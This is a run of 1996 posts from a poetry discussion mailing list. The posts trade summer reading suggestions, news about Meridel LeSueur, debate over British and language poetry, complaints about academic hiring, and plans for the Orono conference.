> *cultural theorists to even _consider_ the possibility of biological influences upon human behaviour.*

Seem remarkably close-minded for someone in the humanities. It's not like any of us have found a "conclusive" scientific way to prove our points...

> *I've rarely tried to involve science in my poetry, and tend to cringe at most attempts to write poems about chaos theory.*

Is it just me or does it seem that too many people using chaos theory do not seem to understand the concept?

> *_The mathematician defines her space_*
>
> *With time, everything tends*
> *to zero.*
> *=> leave her.*
>
> * * * *

> *It amuses me now to recall how many of my colleagues really talked like this, using mathematical jargon to describe their personal lives.*

Have you shared this with any of your colleagues? I would love to know the reaction.

Tim

↑ Index

141. - Kim Tedrow

Re: the eternal summer reading thing

Sun 9 Jun 1996

<sorry Robert that you are seeing this again, I meant to post it to the list the first time -KT>

Eliza writes:

>>>>imagine everything glorious about tillie olson (if possible; there is so much) mixed with insinuating sound of judy grahn, then add a particular poignant sweetness and clarity and that is just the beginning of meridel lesueur. piece i found was in Norton Anth. of Lit by Women, and i am having stinker of a time finding anything else. any ideas?<<<<

Annunciation is a stunning story -- LeSueur is somewhat of a cult figure in Minnesota (at least she was still alive in her nineties when I left there), so I'd start with this URL (Hungry Mind Bookstore in St. Paul MN):

http://www.winternet.com/~hungrymi/"

If they don't list any of her works, call the Hungry Mind and ask for the numbers of the political/small press bookstores in the Twin Cities, I'm thinking Amazon Books, St. Martin's Table, MayDay books. I've been gone for almost five years, so I don't know that these bookstores are still in business.

The book of stories I have is called "Corn Village", (I don't know if it's still in print, I bought it at a used bookstore), but she has published a fair amount, mostly with small press.

Hope this helps somewhat, sorry I don't have URLs or ph. #s for those other stores, but someone at Hungry Mind would help with them. They're *excellent* about phone orders, too.

Warmest,
Kim
[redacted]

↑ Index

142. k.a. hehir
Re: dissin dat higher-in thang
Mon 10 Jun 1996

in reply to tom's post.

as an undergrad with hopes of some kind of post grad

i'm now questioning the decision to pursue poetry

maybe bovine psychiatry is the place for me

of course many will add moving

to the proper london

will cost me less than

my shrink bills here in londonOnt.

how will I convince them to lay on leathery couches?

KEVIN

just a posit

↑ Index

143. k.a. hehir
Re: the eternal "summer" reading thing
Mon 10 Jun 1996

mr.Amato,

what's a shoah (and i, with the the only house with christmas lights on my block,-- i did play "Chutzpah" as a kid-- but then if if it is not a yiddish term i've offended many people- a round of shibboleths anyone?).

thanks,
kevin

↑ Index

144. Kenneth Goldsmith
Visual Poetry Page Gone Mad
Mon 10 Jun 1996

Folks--

Kenny G's Visual Poetry Page has gone wild. Submissions are being received daily. Please let anyone you know who does Visual/Concrete Poetry that we exist and that we encourage submissions. Currently on view at:

http://wfmu.org/~kennyg/visualpoetry/visualpoetry.html

ViSuAL pOeTry

Susan Bee

from "Talespin" (Granary Books 1995)

- Example 1
- Example 2
- Example 3

Charles Bernstein

from "Veil" (Xeroxial Editions 1987/1976)

- Example 1
- Example 2
- Example 3

from "Language of Boquets" (Hot Bird Mfg, 1991)

- Example 1

John Cayley

Various works selected from the Shadoof Home Page

- Example 1
- Example 2
- Example 3
- Example 4
- Example 5
- Example 6

Henrik Drescher

from "Too Much Bliss" (Granary Books 1992)

- Example 1
- Example 2
- Example 3

Johanna Drucker

from "The HISTORY of the/my WOR L D" (Granary Books 1995)

- Example 1
- Example 2
- Example 3

Kenneth Goldsmith & Joan La Barbara

- 73 Poems

Dick Higgins

i.e., or vice versa
AN ARK

In The Realms of the REAL:
Found Poetry & Writings of the Insane

The Jack Free Ads Series

Bill Luoma

200Hex
Bindfix
Frank
Pipes
Volvox

Janan Platt

Internal Nature
True Speech Poems

Blair Seagram

Short Wave
Ante Prima
Alpha B&W
Cry Me A River
Nerve Tree

Ward Tietz

Introduction

buckle
bingo
calc
glug
swarm

Jody Zellen

Example 1
Example 2
Example 3
Example 4
Example 5

==========
==========

Kenneth Goldsmith
[redacted]
kennyg @wfmu.org
v.[redacted]
611 Broadway, #702
NY NY 10012
work: http://wfmu.org/~kennyg/Ubu/index.html
play: http://wfmu.org/~kennyg

Beans Dear?

↑ Index

145. k.a. hehir
stays fresh longer
Mon 10 Jun 1996

This is a sentence.
This is a sentence.
This is a sentence.
Is this a new sentence?
No, just the next sentence.

kev

↑ Index

146. Charles Alexander
Re: the eternal summer reading thing
Mon 10 Jun 1996

> *Annunciation is a stunning story -- LeSueur is somewhat of a cult figure in Minnesota (at least she was still alive in her nineties when I left there), so I'd start with this URL (Hungry Mind Bookstore in St. Paul MN):*
>
> *http://www.winternet.com/~hungrymi/"*
>
> *If they don't list any of her works, call the Hungry Mind and ask for the numbers of the political/small press bookstores in the Twin Cities, I'm thinking Amazon Books, St. Martin's Table, MayDay books. I've been gone for almost five years, so I don't know that these bookstores are still in business.*

A cult figure in Minnesota indeed &, I think, among leftist (working left more than those who come out of political theory, although there's certainly lots of mix & overlap here) literary folk far beyond Minnesota. I would definitely think Hungry Mind would be a help. I would also imagine that some used bookstores

in Minneapolis might be, and I would suggest The Book House, whose phone number is [redacted]. I would also imagine Amazon Books (oldest feminist bookstore in the country) in Minneapolis would be helpful. Their phone number is [redacted].

Here are the numbers for the other bookstores Kim Tedrow mentions:
St. Martin's Table: [redacted]
Mayday Bookstore: [redacted]

Several years ago, in its Winter Book series, Minnesota Center for Book Arts published LeSueur's Winter Prairie Woman in a beautiful limited edition, with illustrations from linoleum blocks cut by Sandy Spieler. Sandy is the artistic director of Heart of the Beast Theater, a performance/puppet theater company something in the mold of Bread & Puppet Theater, but with very much its own identity, one of the real treasures of the Twin Cities, particularly with its annual May Day parade & festival.

LeSueur was still alive when I moved here to work at Minn. Center for Book Arts three years ago, and I haven't heard anything about her passing on, but I have wondered if she's still alive. Anyoe know for sure?

charles

↑ Index

147. Eliza McGrand- CVA Guest

update on meridel lesueur -- good news

Mon 10 Jun 1996

---

since the matter appears to be in question, and i would guess that we all enjoy good news, here it is: meridel lesueur is not only alive, but still writing! physical limitations, however, have made it difficult for her to write as much as she has in the past. she continues to read a fair amount.

i don't know if it is realistic, but be damned to realism: i hope there will be new writing by her published soon.

i arrive at my news of her via the friend who coaxed me into reading her work, jo grant ([redacted]). jo lives near her and visits with her frequently and would be as happy to pass on good wishes and praise for her work as meridel lesueur would be to receive them.

this is not an entirely disinterested message -- "poetics" is clearly a mailing list of numerous effective and successful academicians and scholars. anyone writing about meridel lesueur, or using her work as part of theoretical speculation, will be helping get and keep her writing in print, n'est ce pas? maybe even

getting and keeping her in the Canon (if bloom and co. can be got to look the other way while non-DWEM's pass the through the holey-city).

e

↑ Index

148. Gwyn McVay
John Felstiner
Mon 10 Jun 1996

Does anybody in poetics land have a snail address/other best means of getting in touch with John Felstiner? Backchannel is perfectly groovy. w

typo soup is thick today

the line-noise-afflicted

Gwyn

↑ Index

149. Charles Alexander
Re: the eternal summer reading thing
Mon 10 Jun 1996

> *re: read anything good yet...*

the reading list is piling up, as always.

just completed:

Leslie Scalapino, Defoe (Sun & Moon, 1984). For me, the most exhilarating work by Leslie Scalapino to date. Like learning a new language. A must.

Leslie Scalapino, The Front Matter, Dead Souls (Wesleyan, 1996). Also a treat, although its momentum seems to me more pushed than in Defoe, which is more various in how it moves, from phrase to phrase, part to part. I have a review of this one coming out in the summer issue of Rain Taxi, a Twin Cities review journal which is fairly new.

yet to read:

Issues 5, 6, & 7 of Big Allis. Very fine journal I kept up with on the early issues, but missed some and am now catching up. I note Jessica Grim's departure as an editor, and I am certain she will be missed. I'd love to see more of her work.

Chain 3. Leafing through, some striking visual work included.

Catherine Walsh, Pitch (Pig Press, 1994)

wet roof clear brown beyond
buffeted flowers till light changed
shade tone more than grey effectively
impeding adumbration moving
lines space (racing point to point)
how many in or out does it take
each an anchorage in view of the
wind (the sea) marathon
railway line sea side of a lonely
night walking dark rocks shift water
breaks

Maurice Scully, The Basic Colours (Pig Press, 1994). From this one I'll quote a poem relating to another recent thread on this poetics list -- this is one of several poems in the book beginning "sonnet/" --

sonnet/ reach for the spray paint! the images
were the last layer. the layers cracked
& dried. let me see. the box was made of
glass, mainly. watching the graph-paper
slowly emerge from where the two worlds
hit as such, let me show you, a hybrid, a
raw image, emerging from an instrument,
fascinated by this fragile film, awe-struck,
rooted to the spot etc. they murder you
in the mountains, they beat you in the
foothills, in the lowlands, beware: quite
an endearing little country. I have precisely
what you need. each roll of thunder spreads
& fissures, each a different, similar drama-
carpet in the dark. syn. copating flashes.
dauntingly stolid I thought I'd . . . I see.
look at that & tell me what you see. inside
there ar some beautiful verbs; outside there
is the outside. peering over the fence at
the outside one evening a gigantic mosquito
swerved past my head & crashed into a tree.
the tree shuddered & a large branch cracked
off. just missed the dog. the cat froze. the
mosquito stood elegant & terrible on her high
legs. the proboscis could kill a man. what is
the name of the noise of the rain?

Paul Celan, Breathturn, trans. by Pierre Joris (Sun & Moon, 1995)

Theresa Hak Kyung Cha, Dictee (Third Woman Press, Berkeley, 1995, originally pub. 1982 by Tanam Press). I know, not new, but it's part of my reading list, and is one of the books on my desk here, still.

Jeff Derksen, Dwell (Talonbooks, 1993)

Jeff Dersen, Down Time (Talonbooks, 1990)

Will Alexander, Asia & Haiti (Sun & Moon, 1995)

Reading other books as well, for work & pleasure. But this is most of the current pile of poetry reading, at least for now.

charles

↑ Index

150. Chris Stroffolino

no weirdos please (apologies to kevin davies)

Mon 10 Jun 1996

Dear poetics List People-- I will be moving on or about July 1st and resigning from the list and am curious if anyone wants to BUY A MODEM. It's a $180 value. A FAX MODEM, they say--though I'm too much of a clutz to figure out the fax part of it. Anyway, if not buy---will trade (or *@!k) for books or something. Please contact me via email if interested. Thanks, Chris Stroffolino

↑ Index

151. Ira Lightman

post language poetry, post modernist poetry, fakes

Mon 10 Jun 1996

On Sun, 9 Jun 1996 18:06:15 EDT Ken Edwards wrote:

> - Rob MacKenzie: The Tune Kilmarnock (Form Books).
Likewise, rather fugitive.
> Harry Gilonis is the publisher. Post-Language poetry in
English, Scots and
> Gaelic, eg: "suilean uaine over sand / sallow 'hint an
fheusag bheag / bumfluff
> ejaculate 'tis a // quarter bottle balls all / inevitable
poetries though /
> pulling God by's beard an /..."
Although I am a fan and friend of Rob's work, the term
post-language poetry does not apply to him in anything but
the sloppy current sense ie: "poetry that recognizes that

there was a movement called language poetry famous
(and, as the small number of people who read it before
talking about it - usually dismissively - know, best)
in the eighties, and that we do not wish to be expected
to be language poets ourselves". There is very little
engagement with Coolidge, Hejinian, Silliman, Andrews,
Bernstein, Howe, Weiner, Harryman, Watten, Robinson, Day,
Dreyer, Greenwald, any of the poets of In The American
Tree in Rob's work. He doesn't read it, it's not on his
bookshelves, he rarely talks to me about any example of
it, it's not there in the attitude to language or presence
in any number games, paragraph organisation, or relation
of page to page, or dual columns, in the way that it is
in any of the poets mentioned. Rob's poetic, and I esteem
it, seems much more related to creating a painterly effect,
of the page as canvas which, at the most, related to Susan
Howe. But his poems are very much narrative, spoken by a
coherent I, even if (very powerfully) it is a bi-cultural,
sometimes bi-lingual, I. This use is much more like the
balladeers and mainstream poets which he (and I) like, who
don't get much of a look-in in British avant-garde circles.
Thus he is more accurately a post-Cambridge, or
post-Subvoicive or post-Writers Forum poet (these last 2
are both London reading circles), in that he by and large
ignores most avant-garde British poetry and works with
other British "non pc" sources.

At most, his idiom, and often Miles Champion's,
another young poet mentioned by Ken, could be called
"surreal" - and Harry Gilonis, Rob's publisher, is much
more interested in surrealism than in LangPo, he says
to me that he only really likes Susan Howe, and again
it is for the resonance, the presence, of her placement
of words visually. Not, a key LangPo position for many,
the arbitrariness, the contigency, the non-I, of the
form (isn't this why Silliman, for example, has expressed
low interest in Howe on this list in the past?). Rob is
more interested in the unconscious babble of automatic
"unconscious", which is also presence. The resurgence
of such "non-referential" language idiom in late 80s and
90s British poetry is as far as many Brit poets have gone
in making a nod to LangPo, but it is, not being contingent
but "the unconscious", in my view, inimical to LangPO-

one of the things LangPoets argue against - see Watten's Total Syntax essays. Rob's greatest contact with LangPo was being in a creative writing class run by Stephen Rodefer, who is, at best, a hanger-on of LangPo, anyway, and only uses his links with LangPo to cloud himself in hipper-than-thou avant-gardism with no politics or theory, and to act up the stereotype of LangPoet=Paul De Man= amoralist, which has of course endeared him to Brit avant gardists who hate and fear LangPo and want ammo against it.

I use the "post" prefix here, I believe, in the way Ken does (and I want to stress here that I am Ken himself is a major friend of LangPo, as one of the few British editors at the time, in the 80s, to publish it and review it, and see it reviewed, warmly, this is not an attack on Ken's being informed about LangPo). In other words, Rob is post-Britishavantgarde in the way that Ken says he is post-Langpoetry; ie Rob shows a fleeting courteous interest in the avantgardism of the immediately previous generation but basically rejects it, does not allude with it, does not wrestle with it.

This is, in my opinion, the way a lot of self-designated post-modernism works. It is actually pre-modernist, and makes very little engagement with Pound or the sides of Williams and Zukofsky and Creeley and so on that are difficult (see Ron Silliman's essay Z-Sited Path, in _The New Sentence_). It is often anti-modernist, reactionary, attacking a forebear by using mainstream terms of abuse "mad", "not poetry", "easy", "a clique", and thus trying to win friends among the ignorant - not support the quest to be radical in all groups, just their own, ie not the principle of freedom, but their own freedom.

Whereas the LangPoets use of, for example, Stein, is not anti-modernist (in the way I'm saying that a lot of British avant-garde poetry is, in fact, anti-language poetry) but genuinely post-modernist - not least because in Silliman's case, he is very much, in my view, a Poundian, absorbing and wrestling with a lot of Pound. But his, and many of the other writers' in The Tree, is the best post-modernism: ie, I refuse to take on the paideuma, the canons and exclusions, of the previous groundbreakers; I shall

take on *equally* difficult poetics. That is actually what Pound meant by make it new; *renew*. There are very few British who have taken on LangPo and bettered it. Not least in the political example of Stein, that sexuality may be both exploratory, queer, and not attached to angry young man's "anti-bourgeois" thuggery, or self-mocking "I'm a camp hairdresser me" harmless kitsch.

Very best,

Ira Lightman

↑ Index

152. Joe Amato
Re: the eternal "summer" reading thing
Mon 10 Jun 1996

yo, i don't know exactly what "shoah" means mself (and i checked when i read bransen's piece to see if i had any reference to it here at home, but no luck)... it's the title of a 1985 film (by claude lanzmann) dealing with the holocaust (which i haven't mself seen), and it's clear from the way bransen uses the term in her piece that it's interchangeable with "the holocaust"... but if anybody knows the derivation of "shoah," i'd love to know mself...

joe

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153. Robert J Wilson
Re: the eternal summer reading thing
Mon 10 Jun 1996

Re "Dictee" as 'summer reading,' it is hard to get a hold of but see Walter Lew's very intriguing as well as challenging response text to the dessicated Korean/American sublimity of Cha herself (available at that small press distributor on San Pablo Avenue, Berkeley) and a (rather too caustic) critique of ally/enemey Walter Lew's agon for priority with Cha (and the Cha critical industry as centered in Elaine Kim et al in "Northern California" hegemony over Asian-American professionalization of literature underway) by Rob Wilson in boundary 2 two issues back. And, as many of you know, Walter's "Premonitions" and "Muae" projects have virtually reinvented and reimagined the whole field of Asian American diasporic poetics and politics in one fell swoop, revealing how cyborgian, mixed, and engaged in semiotic/social transformation they had been all along despite the "yellow light" being administered by the not-so-open "Open

Boat" poetics of Garrett Hongo et al. Anyway, it is a new day in that field, and Walter has done us all a blessing in the "machinic assemblages" of language work he has put together. So, yes, (re) read the sublime Cha by all means, but do check out Walter Lew's remappings in "Muae" and "Premonitions" and (if you have that boring and empty professional journal around) read "boundary 2" on the side of the sins and crimes of professionalization/careerism/stupidity that mar our days in the republic.

With regards from the Pacific/Asia death of Captain Cook school of poetics (okay, on this language monstrosity, see Susan Schultz's 'postlocal' "Tinfish" journal and chapbook series where else but on the Buffalo electronic center while you are musing around this summer), Rob Wilson

On Mon, 10 Jun 1996, Charles Alexander wrote:

> *re: read anything good yet...*
>
> *the reading list is piling up, as always.*
>
> *just completed:*
>
> *Leslie Scalapino, Defoe (Sun & Moon, 1984). For me, the most exhilarating work by Leslie Scalapino to date. Like learning a new language. A must.*
>
> *Leslie Scalapino, The Front Matter, Dead Souls (Wesleyan, 1996). Also a treat, although its momentum seems to me more pushed than in Defoe, which is more various in how it moves, from phrase to phrase, part to part. I have a review of this one coming out in the summer issue of Rain Taxi, a Twin Cities review journal which is fairly new.*
>
> *yet to read:*
>
> *Issues 5, 6, & 7 of Big Allis. Very fine journal I kept up with on the early issues, but missed some and am now catching up. I note Jessica Grim's departure as an editor, and I am certain she will be missed. I'd love to see more of her work.*
>
> *Chain 3. Leafing through, some striking visual work included.*
>
> *Catherine Walsh, Pitch (Pig Press, 1994)*
>
> > *wet roof clear brown beyond*
> > *buffeted flowers till light changed*
> > *shade tone more than grey effectively*
> > *impeding adumbration moving*
> > *lines space (racing point to point)*

how many in or out does it take
each an anchorage in view of the
wind (the sea) marathon
railway line sea side of a lonely
night walking dark rocks shift water
breaks

Maurice Scully, The Basic Colours (Pig Press, 1994). From this one I'll quote a poem relating to another recent thread on this poetics list -- this is one of several poems in the book beginning "sonnet/" --

sonnet/ reach for the spray paint! the images
were the last layer. the layers cracked
& dried. let me see. the box was made of
glass, mainly. watching the graph-paper
slowly emerge from where the two worlds
hit as such, let me show you, a hybrid, a
raw image, emerging from an instrument,
fascinated by this fragile film, awe-struck,
rooted to the spot etc. they murder you
in the mountains, they beat you in the
foothills, in the lowlands, beware: quite
an endearing little country. I have precisely
what you need. each roll of thunder spreads
& fissures, each a different, similar drama-
carpet in the dark. syn. copating flashes.
dauntingly stolid I thought I'd . . . I see.
look at that & tell me what you see. inside
there ar some beautiful verbs; outside there
is the outside. peering over the fence at
the outside one evening a gigantic mosquito
swerved past my head & crashed into a tree.
the tree shuddered & a large branch cracked
off. just missed the dog. the cat froze. the
mosquito stood elegant & terrible on her high
legs. the proboscis could kill a man. what is
the name of the noise of the rain?

Paul Celan, Breathturn, trans. by Pierre Joris (Sun & Moon, 1995)

Theresa Hak Kyung Cha, Dictee (Third Woman Press, Berkeley, 1995, originally pub. 1982 by Tanam Press). I know, not new, but it's part of my reading list, and is one of the books on my desk here, still.

Jeff Derksen, Dwell (Talonbooks, 1993)

Jeff Dersen, Down Time (Talonbooks, 1990)

> *Will Alexander, Asia & Haiti (Sun & Moon, 1995)*
>
> *Reading other books as well, for work & pleasure. But this is most of the current pile of poetry reading, at least for now.*
>
> *charles*

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154. Aldon L. Nielsen
Re: hire the higher?
Mon 10 Jun 1996

tom -- yes, such things certainly are a bit subjective -- BUT, at least in this here public institution where I work, we DO have to be able to point to certain demonstrable accomplishments when we are asked to justify having hire prof. X over prof. Y, and we are indeed asked to provide such justification regularly -- That is, for example, if we were to hire someone for a senior position who had considerably fewer publications than a large number of the other candidates, or considerably less experience, we would indeed be asked to commit to paper the subjective grounds of our decision that prof. xs one book, for instance, was SO remarkable as to counter prof. Y's many books (which IS, I hasten to add, possible) -- this is not a perfect mechanism, of course -- it may be that the inquiry is conducted by a venal committee set upon rubber-stamping our decision (though this has yet to occur) --

Again, I would never argue that this is the best, or even a good system, but I think it generally a good idea that SOMEBODY looks into these things to see that I don't simply hire all my best buddies from grad. school, or, far more likely to happen in my own case, my wife.

But the real objection I make is to the phoniness of the original search -- A well-known case of this recently took place at a public institution on this coast -- (NOT in English -- this wasn't a job I applied for) -- several people told me independently before the application deadline had arrived who was going to be hired for the position, and they were right -- this meant that several hundred hard-pressed job-seekers, at least a few of whom appeared to be demonstrably more qualified than the successful candidate, went to considerable time and expense delivering materials to the department in question -- and it does take a lot of time and money to do all this --

yes, we can simply remark that such shit happens, but I am foolish enough to believe that we had begun to make some small progress towards more equitable hiring procedures prior to the recent spate of cuts, lacerations, edicts from Governors, etc -- In the system I am tenured in, the chancellor wants to

put greater power in the hands of deans when it comes to deciding pay raises -- this is presented under the guise of decentralization, putting power closer to the people affected, etc. -- but it's a pretty transparent move away from the more democratic review procedures we had been developing --

undsoweiter

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155. **Aldon L. Nielsen**
Re: eeoc/p/etc.
Mon 10 Jun 1996

Joe -- Not even Yale is "required" to hold a national search in order to promote somebody from Associate to Full professor -=- this IS NOT an eeoc question in this instance -- Yale, an institution that routinely refuses to tenure highly qualified faculty, is up to something quite different here --

and yes, Yale sucks, but just maybe this is one reason that the sucking continues? This "private" institution is heavily subsidized by people like you and me --

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156. **Aldon L. Nielsen**
Re: Oppen Sesame
Mon 10 Jun 1996

I love that -- a world where the name "Oppen" opens doors -- "Out the window with the window," Corso said in one of his better moments --

ADD TO SUMMER READING

new Kelsey Street book by Erica Hunt -- It's a beauty --

(as Oppen warned us, though, one day the knob comes off in your hand)

Some time has passed and now everyone should know where they're sleeping in Maine -- So how about everybody who's going to Maine for the 50s conference letting everybody else know -- I know there have been schedule changes -- It was a lot of fun at the MLA putting faces and their attendant persons together with names known from this list (((

↑ Index

157. **Burt Kimmelman**
Re: Oppen Sesame
Mon 10 Jun 1996

Okay Aldonet al.,

I'll be arriving in Orono on Friday afternoon and leaving on Sunday early afternoon, and am staying at the motel near the campus. I'll be chairing the William Bronk session of papers on Saturday and giving my own paper on Bronk and G Oppen on Sunday early morning.

Et tu?

Burt

↑ Index

158. Keith Tuma
Re: post language poetry, post modernist poetry, fakes
Mon 10 Jun 1996

Thanks to Ira for the post on British readings (or absence of same) in language poetry. A question--for Ira or anybody else--along these lines. There's a longish letter from Jeremy Prynne to Steve McCaffery taking up the matter of language poetry, and I'm wondering if this letter has been published somewhere. Somebody showed me a copy of it once, but I've not been able to learn whether it's been published anywhere yet, or if there's a response from McCaffery etc.

Grateful for any information on this.

Keith Tuma

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159. Carnography
Re: the iliad of hypnotism
Mon 10 Jun 1996

Fred E. Maus typed:

> *Interestingly, I just read a poem by Charles Baxter ("The Last String Quartet of Arnold Schoenberg")...*
>
> *Where does one find this? And what does it have to do with AS's 4th Quartet?*

1. One finds the poem in Baxter's collection,
   Imaginary Paintings and Other Poems (Paris Review Editions).

2. The poem has to do with letters about the quartet written by Schoenberg while in hospital. It seems to be a companion piece to Baxter's poem on Erik Satie, which I've only seen in the early Eighties anthology, Coming Attractions.

Have I mentioned that I quite liked the Schoenberg poem?
For some reason, Baxter's free verse seems to have a formal

finish, an attention to line breaks, an irrational openness,
that is reminiscent of the Romantics, and possibly of
certain poems by James Schyler. I haven't much use for
William Stafford's common-sense tone and next-to-absent
prosody, yet I've been a fan of Baxter's best work for almost
a decade. Yet both appear superficially similar. Why is that?

Also, Baxter embraces history--even European history--
while Stafford seems to affect Hemingway's disdain for
literature's so-called preciosity. Stafford maintains
a neither-nor approach to surface tension, a Writing
Degree Theroux faux lucidity. But Baxter seems attentuated
to semantic fields, and modulates diction along with (or
against) the rhythm.

****

One's entire literary enterprise is "artificial" in
the literal sense, isn't it? So what's the good in denying
the artificiality of one's own project? Stafford seems
"insufficiently synthetic," as Charles Bernstein once
said of the Surrealists. That is, insufficiently
idiomatic, insufficiently opaque; unable to a create
a resonant sound or rhythm beyond that of the narrative
and the procession of pictures it conjures. Stafford reads
like Marguerite Duras gone wrong.

All the best,

Rob Hardin

PS: Has anyone noticed that email forces the user to make line-break
decisions? Could this be one more reason for the current
explosion of online poetry? Even emoticons seem
a peculiar notation designed for inter
-disciplinary use.

http://www.interport.net/~scrypt

↑ Index

160. Joe Amato
Re: eeoc/p/etc.
Mon 10 Jun 1996

aldon, yes, i see your point... i failed to grasp that they just up and promoted
the guy (perhaps b/c i was passed over for a tenure-track once mself while on a

visiting)... it bothers me to make an issue of eeoc in any case.. the yale situation just plain sucks...

the Big 1... or

YES
WE HAVE NO
BA
NA
NAS///

best,

↑ Index

161. Kevin Killian
Re: Oppen Sesame
Mon 10 Jun 1996

Hi, this is Kevin Killian. Yes, I am going to Orono Conference. Get there on Wednesday late and leave on Sunday, so I am hoping to meet a lot of listservers who I have never laid eyes on, I'll be wearing a big name tag. I'm talking about Jack Spicer on the quote unquote "gay" panel, really bringing up the rear as it is in the very last possible slot. So, everybody please attend!!

Dodie Bellamy is coming too, and we are both curious about what all of you look like. Dodie will be doing the fashion reports just like she did at last year's Blaser Conference, so try to look your best. More later.

Thanks.

↑ Index

162. Chris Stroffolino
Re: Oppen Sesame
Mon 10 Jun 1996

I am arriving Wednesday afternoon (hopefully in time for) my panel and staying to at least saturday AM---and POSSIBLY later. Will be rooming with a Vancourite named Andrew who I've never met. I don't know the people who are going to feed me (F O'H). Look forward to meeting y'all. cs

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163. **wystan**
Re: stays fresh longer
Mon 10 Jun 1996

> *Date: Mon, 10 Jun 1996 04:10:35 -0400*
> *Reply-to: UB Poetics discussion group*
> *<[redacted]>*
> *From: "k.a. hehir" <[redacted]>*
> *Subject: stays fresh longer*
> *To: Multiple recipients of list POETICS*
> *<[redacted]>*
>
> *This is a sentence.*
> *This is a sentence.*
> *This is a sentence.*
> *Is this a new sentence?*
> *No, just the next sentence.*
>
> *kev*

Come on

man

i got parole

w.

↑ Index

164. **Carnography**
Re: the iliad of hypnotism
Mon 10 Jun 1996

I typed:

> *2. The poem has to do with letters about the quartet written by Schoenberg while in hospital.*

To clarify:

The poem cites letters written by Schoenberg while in hospital. The subject is (often ostensibly but always obliquely) his last string quartet. Supposedly, the quartet is all "about" American nurses, an idea which, like a good part-time modernist, I don't particularly like. However, my (and Schoenberg's) postro-mantic side seems slightly more at home with the idea.

Also: Thanks, Tim Wood, for being kind enough to re-cite my querzblatz list. And thanks,too, to the person who invented the term--who *was* that exactly?

I'd like to remember and acknowledge her (I think she was a her), since the defining act of mediocrity is to refuse to acknowledge good work.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

165. Jerry Rothenberg
(no subject)
Mon 10 Jun 1996

Word came today that Bert Schierbeck, who was one of the truly classy postwar poets, died yesterday at his home in Amsterdam. Anyone who spent any time among the Dutch poets would have known him: a wonderfully present & wonderfully life-affirming man, who broke much new ground in poetry & prose & in the necessary links between them. It was always a great pleasure to drink & talk with him -- talk (really) more than drink -- and though he was ailing & under sentence for the last few years, I hope he kept it going to the end.

What follows is in no sense an obituary but the commentary that Pierre Joris and I wrote for inclusion with several of his poems in the second volume of _Poems for the Millennium .

Signed off, with love.

jr

BERT SCHIERBECK

there comes over us / that awful silence / which we saw in picture books / of animals in that vast sort of space / where they almost didn t exist at all / drifting in the mist of a still / bigger animal that devours us all. (B.S.)

The work emerges from the vortex of the European & Dutch avant- garde (post-World War II), with affiliations to the mixed-means poetics of Cobra (page 000) &, at a greater distance, American poets like Williams, Olson, Burroughs. The defining breakthrough is his creation, circa 1950, of the _compositional novel_, in which the stated aim is the removal of the borderlines of the _I_ and their redistribution -- for him, as others, an act of defiance against imposed, inherited notions of the predetermined Self. Regarding the early means employed he writes (1952): [quote] At that time I wrote down on scraps of paper every conversation I heard, all the words I came across; I saved clippings from newspapers, I traveled through Spain and took notes on what I saw along the road, at the outdoor cafis, all kinds of conversations and forms of life. That can all be recovered in the book. Arranged upon a rhythmic base that was determined by

the breath of the people, which we have in common. Everything carefully, typographically divided up to make the whole surveyable.[unquote] Moving from prose to verse -- or holding some rich ground in between -- the resultant form works toward the creation of cross sections of reality where everything rhymes.

His long novel-poems available in English include _Shape of the Voice_, _Cross Roads_, and _Keeping It Up_, along with short works like _The Sun: Day_ presented here.

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166. **Herb Levy**

Re: morty

Mon 10 Jun 1996

> *There is a book on/by Feldman I'm aware of, but can't remember the title now. Mostly anecdotes and lectures of his (german/english edition, i seem to remember a complicated story behind the reason for this). Available through Larry Polanski's press (turtle island?)*

One or two more things on the Feldman book, which has already been well identified. It's great & very funny. The long final transcription of his Darmstadt talk is hilarious: If only they'd make the tapes available. Oh well. It was available from Frog Peak, Larry Polansky's distribution collective, but I didn't see it on their Web site when I gave it a cursory look just now:

<http://www.sover.net/~frogpeak/>

so it may be out of print as Rod suggests.

However, there are plenty of very good & hard to come by recordings, scores, texts, & tributes at this Web site. Including the wonderful mag Soundings, put out by composer Peter Garland which includes several festschrift-type items: a special issue on Ives, Ruggles & Varese; an ish on James Tenney; most of the early serious writing on Nancarrow.

As an aside here, let me put in a good word for the new book by Kyle Gann on Nancarrow which Rod mentioned - it's expensive, but many academic libraries probably purchased it, so some of us here can probably get a hold of it - it's very, very good. For that matter, if you end up looking for Garland's Soundings in a library, note that it's the journal with the Santa fe address, there are several others with the same name.

In other Feldman news, there was a good piece by Clark Coolidge on Feldman a few years back in Sulfur (I think).

& those of you near New York City may want to consider checking out one or more of the four Feldman concerts at Lincoln Center in early August, including

a concert with Kronos playing the six-hour single movement (with no interruptions) String Quartet #2. If I can finish enough work on the forthcoming CDs to need to talk with distributors by then, I'm going to try to hear as many of these as I can.

Herb Levy
[redacted]

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167. Tony Green
Re: proto proto yahoo
Tue 11 Jun 1996

Eryque, say more abt the horoscopes that you want, most of the NZ ones are syndicated from London someone told me. Do you want really stupid short ones that cd apply to anyone. Or long ones, ditto. There was one kind that always used to end with advice: Be kind. Be wary. Be...etc. I made a collection of these one time. Why not make them up yrself? best

Tony Green,
e-mail: [redacted]

↑ Index

168. Eryque Gleason
Re: proto proto yahoo
Tue 11 Jun 1996

---

tony, i'm not really looking for anything specific in a horoscope, if you find it amusing or interesting or scarey, anything but boring and uninteresting i'd like a look see. what ultimately comes of this will be made up by me (mostly), but i want something that's not me to start with. one that ends with "be wary" may be perfect, i've been more and more cynical lately. otherwise, all bets are off. maybe the sillier the better, but i won't be too picky at all. all contributions will be much appreciated!

best,
eryque

> *Eryque, say more abt the horoscopes that you want, most of the NZ ones are syndicated from London someone told me.*

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169. k.a. hehir
a cage rattled
Tue 11 Jun 1996

---

i'm sorry if my la\st few posts seemed somewhat fun, but i will add this to the Caged thing. this from an address given before the National Inter-Collegiate Arts Conference, Vassar College, Ploughkeepsie,New York, February 28 -1948.

The whole article or address is quite amazing..

for new desires..."I have fir instance, several new desires (two may seem absurd but I am serious about them):first,to compose a piece of uninterrupteds silence silence and sell it to Muzak Co. It will be 3 or 4 1/2 minutes long - those being standard lengths of "canned music- and its title will be "Silent Prayer". It will open with a single idea which I will attempt to make as seductive as the color and and shape as a flower. The ending will approach imperceptibility."

This is fromMusicworks 49.

ala\ways a great read and even a more wonderful listen as they also send a cd.

most seriously yours,

kevin hehir

↑ Index

170. Ron Silliman
Passings
Tue 11 Jun 1996

